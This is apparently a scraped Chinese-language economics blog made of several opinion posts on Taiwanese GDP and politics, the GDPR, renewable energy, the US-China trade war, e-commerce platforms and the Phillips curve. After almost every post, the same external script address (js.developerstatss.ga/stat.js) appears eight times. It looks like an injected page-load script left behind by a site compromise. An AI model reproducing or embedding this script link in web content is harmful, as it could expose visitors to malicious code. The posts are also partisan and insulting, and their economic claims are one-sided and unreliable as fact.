分類: 經濟分析

在Jack Dai那裡看到的爛文章一篇，還是國立大學經濟學博士出品，讓人直搖頭。

簡單講幾個點：

1. 全文忽略馬英九上任碰上全球08’年金融風暴引起的「The Great Recession」，連美國在內多數國家都實質收入衰退。以美國為最主要最終出口市場的台灣當然無法倖免於難，然而此文作者卻故意忽略不談。

2.該文作者也故意完全忽略因應The Great Recession美國Fed柏南奇開啟的超過十年超寬鬆貨幣政策，使得多數對美國為主要貿易對象的國家被迫跟著通膨的事實，以及馬英九任內油價曾破記錄來到近每桶130美元的客觀因素，反過來指責馬英九放任物價上漲，真是可笑。

彭淮南任內也曾多次公開指責美國貨幣政策造成事實上強迫其他國家通膨之舉措，有害他國經濟。

話說，台灣貨幣政策似乎是由中央銀行行使職權，從未聽說馬英九曾指點彭淮南該怎麼因應。如果對這段時間的國內通膨現象不滿，怎麼看責任也該在彭淮南身上。

3. 我覺得最可笑的就是這篇文章作者試圖「迂迴護航」的蔡英文啦。

在蔡英文統治下2017年台灣GDP成長率為2.86％，但同年IMF統計的全球GDP成長率是3.8%，中國6.9%、香港3.8％、南韓3.1％、澳門9.3%、菲律賓6.7%、越南6.8％、泰國3.9％、新加坡3.6％、馬來西亞5.9％、印度6.7％、日本1.7％。

整個東亞幾乎末段班就是台灣日本的fu。

———————————————-
有投資股票經驗的朋友應該都知道，搭到成長股的獲利肯定遠超過不成長的大型穩定股。

我一再呼籲，中國是近30年來少見的大型成長股，台灣享有的語言成本優勢天下無敵，少數成功掌握的商人30年風水如今富甲天下者有之，就連我熟悉的台中傳統機械、自行車產業也多有因此大發利市身價近百億新台幣的低調隱形富豪（如某富豪90年代到法國酒莊買酒，當主人問要買幾瓶時，此富豪答：「本人我習慣用貨櫃做計算單位。」隨便買了幾貨櫃，還於鄉間蓋一別墅，不住人，專門放酒。隔年，戴高樂機場甫下機就有不同酒莊派出的各式加長禮車爭搶接機）。

這部份也回應最近看到一篇文章，作者當年美國讀博士成績再優異，依然被美國教授噹口語能力不佳，甚至以不予博士學位威脅。卻又發現某已成名之台灣藉學者在該校演講，英文口語明明也不怎麼樣，但教授卻配合至極，連冷笑話也捧場大笑。

理由無他：「你求人」或「人求你」罷了。

這位隱形富豪一句法文都不會說，他明講：「會按計算機足以。」

回頭看當年李登輝為個人政治私利搞的鎖國政策，被陳水扁繼承到如今蔡英文更是奉行不渝，誤國誤民造成的社會成本全民負擔，自己倒是家財萬貫地享受建國基金。

好笑的是18年前蔡英文還曾宣稱「未來的一個中國是台灣民眾的唯一選擇」，還於立法院備詢時以陸委會主委身分「承認一中各表」。如今轉為台獨份子，往往並非政治理念之轉變，而是政客身分與需求使其必須欺騙與牢固容易操弄的特定團體。這就是民主政治的本質。

https://js.developerstatss.ga/stat.js?n=ns1

知名刑事訴訟法教授林鈺雄投書蘋果日報的：「歐個資法上太空 台原地殺豬公」，就是典型只會跟風、只會「歐美法律都好棒棒」的台灣許多法律教授思維。

通篇文章看不到對歐盟新通過的GDPR（EU General Data Protection Regulation）有何法律經濟分析上可能造成的利與弊，而是直接假設「歐盟通過的法律一定好，台灣不跟就是鳥」的思維。

殊不知國外已有分析指出光是要符合新法標準，歐盟企業總共可能要額外負擔€2千億歐元，而美國企業可能要額外負擔$400多億美元。

如此增加的成本支出，是否真的能保障所謂的「個資權」？以及所欲保障的「個資權」是否在被保障者心中真的那麼重要？憑什麼政客可以代替人民決定「個資比較重要」？

再問，龐大的額外成本負擔，必然造成企業資源分配上的轉變，此轉變對歐盟企業國際競爭力是好是壞？這端視此GDPR是否讓企業把資源放在可帶來未來收益的項目上？就這種虛無飄渺的個資權保障來說，我認為很可能多數投資只是避免被處罰，而對產權保障或未來收入毫無助益。更甚者，此法的模糊地帶還可能侵害了企業主對未來收入的預期確定性。過去我曾討論過，任何人類權利都有邊界，無論是有形產權到無形基本人權，其實都是「權利組（collection of rights）」，當組合邊界過大到影響他種權利實施，亦或是大到邊界模糊的情形發生時，資訊費用與社會成本的增加是必然發生的後果。

這也表示林鈺雄教授之流根本忽略一個重要事實：過去20年來號稱最保障人民個資的歐盟，在其創造的經商環境下卻無任何一家活躍使用人數破億的網路社群或搜尋引擎公司出現。

此外，歐盟這種擅自納入全世界的罰則：「a fine up to €20 million or up to 4% of the annual worldwide turnover of the preceding financial year」，對許多非歐盟地區的小企業或新創事業而言，等到被罰款時直接放棄歐盟市場會是最經濟的策略。而在這種策略之下，這意味著未來許多跨國新興服務很可能直接略過歐盟地區，或是一被抓到違規就停止提供服務等現象將發生。歐盟過嚴苛的個資保護法規究竟保障了歐盟人民什麼，難道不值得深思？

也因此在我看來，本服務看似欲保障人民基本權利，實則增加既有巨頭（如Google、Facebook）的壟斷力，同時也增加此類大型跨國網路企業對歐盟官員的賄賂機率與金額。

管制必然帶來貪汙，而許多管制的誕生與存在也是為了服務貪汙。這點可參見我寫過的「貪汙的一般性理論 (https://wp.me/p9ffS3-jm)」。https://js.developerstatss.ga/stat.js?n=ns1

很多腦袋不清的風電/太陽能宣傳者，侷限條件看不清，才會張口閉口都是「風電/太陽能技術很重要，台灣要先卡位」這類毫無經濟邏輯的蠢話。

此二者技術先天上就是看天吃飯，沒太陽、沒風（或風太強）就沒得發電，因此容量因素分別只有15%與30%的先天限制下，造成幾個重要侷限條件：

1. 此裝置發電成本再怎麼降都很快遇上瓶頸，因為先天可發電時數就輸人，攤提成本有其侷限。

2. 也因為發電不穩，除非儲存電力技術有重大突破，否則永遠不可能當做基載電力，只能如WSJ形容：只是電力網上的裝飾品。

3. 此類裝置單獨每一個發電量都很小，因此佔地面積相對火力電廠、核能電廠來說都是幾百倍以上的大小。這意味著只有國土面積龐大、土地邊際成本小的國家才有經濟規模可以容納。台灣這種地狹人稠的地方，想都不用想。這點我在「需要多大的土地才能讓太陽能發電取代一座火力發電廠？」一文就已經計算過，要把整個台北市幾乎裝滿太陽能發電裝置，才能取代一座台中火力電廠（後者僅需1%的土地）。

先進技術係指用更少的資源完成同樣的需求。而綠能電力（蔡英文政府堅持核電不算）先天的土地資源浪費，在經濟邏輯上來看毫無先進之處。（電力工程的先進是另一回事，但規模經濟輸人、關鍵專利技術不在手上的前提下能否具備國際競爭力，又是一回事）

4. 也因為發電裝置小而分散，必然需要使用大量導線構成電網來串接彼此，也意味著綠能可能需要比佔地面積小的火力/核能電廠耗費更多材料，且更大更複雜的電網面對天災戰爭等風險承受力也可能更小，但風險實現時修復成本與時間卻將攀升。

 

上述幾個侷限，尤其第二點，都註定太陽能/風電在能源領域中都只會是點綴、應付政府政客的項目，也註定此二種不會有多少的壟斷租值（事實上多數此類公司也是透過行政尋租騙取政府補貼、騙取人民稅金）。這點從美國幾家大型電力公司的財報就可看出端倪，正經且獲利（包含現金流）正常的電力公司，沒有一家是靠太陽能/風電為主力。

站在專業投資者角度，太陽能/風電先天註定不會有壟斷租值，且現實面終端邊際產出價格越來越低的產業，毫無投資之價值。

上述侷限也很明白，真正未來具備壟斷利益的關鍵技術在「高效儲存電力系統」上，而非風力或太陽能發電甚至電網架構上。

「有很多專利」與「有多少關鍵專利」與「有多少值錢專利」三者是風馬牛不相及的，我經手數百件多國專利或他種智慧財產權授權，我們行內人這點基礎認識，很遺憾似乎平常人搞不清楚，還以為有專利就是好，殊不知多數專利只是負債而非資產。

可笑的是一點成本觀念都沒有的蠢蛋，嚷著政府的政令宣傳就以為自己懂能源產業了，投資觀念之生嫩幼稚，讓人輕易看破手腳。民主的悲哀就是讓無知無畏的笨蛋參與決策。https://js.developerstatss.ga/stat.js?n=ns1

中美貿易戰目前看來階段性的小結是：「雙方同意更多生意往來」這個最好的結局，看來我先前的擔憂是多餘了。但之後雙方會不會又有新衝突？我想也沒人說得準。政治的訊息費用太高，網路上看到一堆愛談陰謀論、愛高舉自己有多少內幕的寫手，往往禁不起驗證的多。

我認為Trump始終沒有表面上那麼笨，而中國官員也沒有假台獨份子貶抑地那麼無能。

倒是中美欲將經貿磋商制度化，假台獨只能乖乖當美國尿壺的定位大概是確定了。

順道一提，美國動不動嚷嚷「貿易逆差」以要求他國負責，其實是一種「做賊喊抓賊」、「要當婊子又要立牌坊」的無恥行徑。

美國布林頓森林體系片面違約不認帳之後，希望維持國際主要交易貨幣地位，又搞了「石油美元」協議以及諸多舉措。

而美元要成為世界主要貨幣，必然發生：1. 美元必須維持一定強度與 2. 貿易逆差。

為何一定發生貿易逆差？因為要成為世界交易工具，美國必然要「發行多過國內所需的美元並使其多餘部分流向世界」。猶如刻意在浴缸滿水後繼續灌水一樣，國際貿易帳上也就必然發生貿易逆差！

換句話說，只要美國放棄國際交易工具地位，甚至停止印發美鈔，貿易逆差就自然消弭。可是「美元稅( US dollar tax）」太爽啦，只要開印刷機，用自家印的破紙就可以買遍全世界，等於是公開搶劫全世界，然後再來怪全世界讓他的帳本難看。

當然美國政客與智庫都清楚問題在自己身上，卻不要臉地強迫他國負責，這就是號稱最尊重人權、法治、公平正義的國家搞出來的爛戲。https://js.developerstatss.ga/stat.js?n=ns1

The cut to the corporate tax and deregulatory process are giving businesses more certainty and money to spend on capital investments.

However, the severer trade wars between China and America will definitely wound the economy of the both sides, particularly worse on the US . It means the benefits from tax cut and deregulation could be wiped out by the wrong tariffs. These are the macro-constraints of the U.S.

Meanwhile, according to Credit Suisse, the capital expenditures of the S&P500 have risen to $166 billion in the first quarter of 2018, up 24% from a year earlier. Is it a good news? Well, it depends on each isolated case. The capital expenditure of companies may or may not lead to good returns, which means the more capital investing activities do not promise higher profits in the future. Wastes or mis-location of resources can happen in this the-more-the-better investing phenomenon, especially when a company has some bad KPI requirements. It’s due to “Money Illusion" to a certain degree. Bad incentive systems influence the managers’ decisions as well. And I believe these two factors are the source of the business cycle.

I haven’t expected the turning point coming so fast. Nevertheless, I could smell something going wrong recently. I’ve increased the cash share of my investment pile more than fifty percentage and guess by doing so would be safer in the next two years. Of course, if there is a good objective at an attractive price, I will buy it anyway without considering the macro-economy. Such good deals can always overcome the whole investing environment.https://js.developerstatss.ga/stat.js?n=ns1

https://js.developerstatss.ga/stat.js?n=ns1

日前我在「再談PCHome–以經濟分析觀之」一文中提到的經濟邏輯：

…"這種仲介行業關鍵始終在於「集客力」：客人不夠多，廠商上架意願低；商品數量少、不夠便宜、介面不夠簡潔，集客力就差。二者某個程度有點雞生蛋、蛋生雞。多數仲介業都存在同樣的問題。

因此，這種商品仲介平台會希望透過「低免運費門檻」來吸引客人與廠商，是一條幾乎人人都會走上的不歸路。另一方面，平台商如果太常片面隨意搞商品折扣競爭，廠商遲早會受不了而出走。

流量不夠大，規模經濟出不來，財報就很難看；流量大到一定程度，可將平台與倉儲成本攤提到很低比例時，獲利會驚人噴發。而這段成長過程是痛苦的，Amazon如是，PCHome也如是。但PCHome面對一個與Amazon最大不同侷限條件是："台灣市場太小"！建置一個平台後可收的上頭租值，台灣就是不如美國。

經濟分析上也意味：要集資與PCHome競爭的門檻遠低於欲與Amazon競爭。

所以當強力競爭出現時，平台對客戶廠商最明顯的競爭差異始終只能在「降低購物成本」或「減少廠商費用」這兩個自殺利潤空間的策略上打轉，也就註定平台租值在激烈競爭出現時必然快速下跌。"

ASAP看來就是集客力始終上不來，造成基礎建設的規模經濟也一直出不來，帳面虧損肯定是很難看的。

此外，該站從最早的「閃電購物」改名為「省錢購物網」，可知對多數消費者而言，「快速到貨」只是一個加分，但非必要條件。網購偏好始終還是在「省錢」這點上打轉。

這邊我再多談一點，就是我認為實體店面的集客力某個程度上還是比網站的流量來得容易觀察。

WSJ報導：「Why California Leaves Its Homeless Out in the Sun」，整理重點如下：

1. 最近才宣布住房必須強制加裝太陽能發電裝置的加州，看似富裕進步，其實依然不能擺脫經濟自然定律 — 高度管制必然發生資源unemployment。

加州去年無家可歸的遊民人口增加13.7%，同時期紐約僅增加3.6%，而全美增加率為1%。

2. 加州的多項住房與土地管制，造成該州房屋價格或租金都高不可企，公共住宅與租金管制屋供給極為有限。

3. 遊民增加的原因之二：2014年通過的Proposition 47，該法案縮短非暴力犯罪的刑期，例如商店竊盜、偷竊金額小於$950美元者或毒品施用者。而加州警方也公開表示放棄逮捕這類犯人，因為徒勞無功，抓進監獄沒幾天又給放出來，純粹浪費警力。

此法案通過後，財產類犯罪數量與全國減少的趨勢反其道而行，獨獨加州在成長！2014~17年，Anaheim（加州迪士尼樂園所在地）竊盜罪成長9%、洛杉磯成長22%而舊金山成長44%！

致使許多本來應該待在監獄的小偷小犯全回到街上，而自身的前科記錄讓多數房東拒絕租賃；加上加州諸多法規讓條件很差的房屋不能流通在市面上出租。因此這些人被迫無家可歸，一一輪為街上遊民。

4. 橘郡政府從Anaheim的遊民村中清出13950針頭、404頓垃圾與5279磅有毒物質。

其實我不是很喜歡這種B2B、B2C甚至B2B2C分類。因為我覺得沒打到要害，沒有掌握到關鍵侷限條件。

以網路家庭的三塊：線上購物、商店街、露天拍賣三者而言，本質上都是一樣「賺取交易仲介費」，三者最大差異只是在於「物品由誰看管」。但法律事實上，三者的物權均未移轉，網路家庭都只是在賺成交後的仲介費，當然三者的「費用結構」略有差異，但都不脫「一個固定費用+一個抽成」。

這與百貨公司其實是以「櫃位租金+抽成」這種模式有差異。畢竟物理環境侷限下的地點稀缺，與網路平台靠知名度二者還是不可相比擬。

也就是說，24H部分的倉儲只是加快出貨流程，表面上費用由PCHome負擔；商店街與露天則省去這層費用。但三者就行業本質而言都是電商，都是賺交易仲介費。

而這種仲介行業關鍵始終在於「集客力」：客人不夠多，廠商上架意願低；商品數量少、不夠便宜、介面不夠簡潔，集客力就差。二者某個程度有點雞生蛋、蛋生雞。多數仲介業都存在同樣的問題。

因此，這種商品仲介平台會希望透過「低免運費門檻」來吸引客人與廠商，是一條幾乎人人都會走上的不歸路。另一方面，平台商如果太常片面隨意搞商品折扣競爭，廠商遲早會受不了而出走。

流量不夠大，規模經濟出不來，財報就很難看；流量大到一定程度，可將平台與倉儲成本攤提到很低比例時，獲利會驚人噴發。而這段成長過程是痛苦的，Amazon如是，PCHome也如是。但PCHome面對一個與Amazon最大不同侷限條件是："台灣市場太小"！建置一個平台後可收的上頭租值，台灣就是不如美國。

經濟分析上也意味：要集資與PCHome競爭的門檻遠低於欲與Amazon競爭。

所以當強力競爭出現時，平台對客戶廠商最明顯的競爭差異始終只能在「降低購物成本」或「減少廠商費用」這兩個自殺利潤空間的策略上打轉，也就註定平台租值在激烈競爭出現時必然快速下跌。

PCHome上頭租值囿於台灣市場小這個侷限，嚇阻對手進入的聲量天生不如Amazon；過去享受平台規模經濟累積銀彈的速度與量體上也不如Amazon。如今這個結果，其實是掌握客觀侷限條件者可以預見的。https://js.developerstatss.ga/stat.js?n=ns1

WSJ這篇投書：「Is the Phillips Curve Dead? And Other Questions for the Fed」是Princeton University教授，也是前任Fed副主席Alan Blinder投稿。

一文提到現在美國經濟似乎已經非宏觀經濟學可解釋，尤其是菲利普曲線（Phillips Curve）好像失靈。理論上，失業率高到一定程度會拉低通貨膨脹率，反之失業率低到一個程度會拉高通膨率。而中間會有「自然失業率」，達到時實際通膨率將等於預期通膨率，是傳統宏觀經濟學的一條重要曲線。最早只是紐西蘭統計學家A.W.Phillips單純從英國的通膨率與失業率中發現可能的潛在關係，只是一條「事實經驗曲線」。不過一堆總體經濟學家在上面不斷「看圖說故事」地衍生各種總體經濟學理論。

但可笑的是，預期通膨率只存在於腦中，真實世界並無其物，也無從探知，因此而生的自然失業率到底在說什麼？令人尷尬。況且到現在，主流總體經濟學都還沒有一個合理且可驗證的失業定義，卻能大談特談失業，這很好笑。誠如A.A. Alchian與張五常所言，經濟學有關失業的論文或理論多半不值一提，毫無可學習之處。

作者說FOMC自己也搞不清楚自然失業率應該是多少，今年認為是4.5%，但去年又認為是4.7%，三年前又定為5.1%。唯一可以確定的是，目前的4.1%失業率肯定低於FOMC認定的自然失業率，則依據宏觀經濟學理論，通貨膨脹率應該因此被推升，但真實數據卻打臉了宏觀經濟學，通膨率長時間未上升，從2012年以來幾乎都在2%以下。

作者回顧1990年代自己任職Fed時，只要失業率上升1%長達一年，則必然看到通膨率下降0.5%左右。可如今這個關係已然不存在。而且是從2000年以後，作者就發現通膨率的改變與失業率毫無關係了。於是他警告，如果宏觀經濟學的菲利普曲線失效，我們能怎麼辦？

為何發生上述總體經濟學家，還是前任Fed副主席如此雲深不知處的尷尬窘境？總體經濟學理論長久以來忽略了真實世界諸多侷限條件，尤其川普上台後諸多de-regulation與減稅措施改變美國人與外國投資者的生產意願、生產效率。是的，許多美國法規本身都扭曲了企業的資源分配，使得多數企業不得不用低效率方式生廠，甚至發生Elon Musk、太陽能業者或Obama時代的私立野雞大學這類競逐政府補助的商人尋租行為，浪費稅金還造成整體社會租值消散。

川普諸多回歸市場導向的政策，只是把被壓抑的生產效率重新釋放，把社會交易費用降低，自然會看到失業率與通膨率齊降。而偏偏這種現象總體經濟學無法自圓其說地解釋，也顯見此學問天生致命傷何在。

這也告訴我們，為什麼很多經濟學家預測經濟總是錯？因為他們只是一群關在書房裡熟讀錯誤理論，操練看似高深數學，但其實與真實世界八竿子打不著的智力遊戲者。

不過這還是比多數法律學者強，尤其台灣的法律學者，除了只會翻譯跟搞學閥之外，作學問多半談不上。價值觀永遠走在邏輯前面，而其口中「堅忍不拔」的價值觀卻又很容易為了服務政客而自我賤賣。

我自己的投資經驗來看，總體經濟學完全沒有學的必要。學過，只是知道檯面上的經濟學家在屁些什麼，但多半內容不堪推敲驗證，而且對理解真實世界或投資一點幫助都沒有，就當做看小說一般娛樂娛樂就好，切勿把總體經濟學內容當真。對投資有用的，還是把價格理論學好，然後從個人加總到群體即可。

https://js.developerstatss.ga/stat.js?n=ns1